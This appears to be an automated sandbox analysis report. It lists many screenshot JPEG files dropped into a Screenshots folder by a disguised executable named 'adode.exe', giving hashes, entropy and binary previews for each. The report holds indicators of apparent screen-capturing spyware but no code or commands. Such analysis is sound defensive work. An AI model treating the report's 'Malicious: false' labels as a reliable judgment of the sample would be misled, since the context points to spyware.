SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240819_213709.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240820_035454.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240820_102656.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240820_175419.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240823_044334.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240823_123356.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152803
Entropy (8bit):	7.925248634489261
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5moL:7HM9tZj6BvNuHwpLyaG22oL
MD5:	FA60C9DC9C9B2747E6F9F3E1539B62E8
SHA1:	CF63A592C1F0870B53A8D5A35385AE4A5742BA90
SHA-256:	D6D066B6BC54940DAB4CB80451E2F56C99F30D611160674B3B5D9FD24CCCB5C3
SHA-512:	787D27E5546DB5B992526067E2D2041635A95BF201274F0D9B54AD12E4ECB19B655C88845452E0E18D88AF319D8147C23463E209B13B16D3EEEDCF5135A1FB2B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240823_231215.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240824_062505.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240826_153456.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240831_050852.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240831_123241.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240902_221032.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240902_234759.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240903_014736.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144998
Entropy (8bit):	7.929288809820579
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodgrWWT2e9Ffg7:WpgzOCtbRJPBBcFJGWgrS
MD5:	F48E6A56035143B0EE6AEB30FD54DF3C
SHA1:	499BF2FDC8304FC5065823528C2D9879AC1A7088
SHA-256:	0AEF091E7E720AB1355187EE614ADC9336875E851EE97DC7BBB8978315CF0A82
SHA-512:	2952AF76B2D17C8A2FE35792A9B13AD4AE0BFDA544724BCD328961C6C89E3FF01777F1D8CF8928050F1CBDB1D4A7C2F37BA6ACAF5A249319139AA5608E36CE8D
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240904_004034.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240904_064315.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152803
Entropy (8bit):	7.925248634489261
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5moL:7HM9tZj6BvNuHwpLyaG22oL
MD5:	FA60C9DC9C9B2747E6F9F3E1539B62E8
SHA1:	CF63A592C1F0870B53A8D5A35385AE4A5742BA90
SHA-256:	D6D066B6BC54940DAB4CB80451E2F56C99F30D611160674B3B5D9FD24CCCB5C3
SHA-512:	787D27E5546DB5B992526067E2D2041635A95BF201274F0D9B54AD12E4ECB19B655C88845452E0E18D88AF319D8147C23463E209B13B16D3EEEDCF5135A1FB2B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240904_131902.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
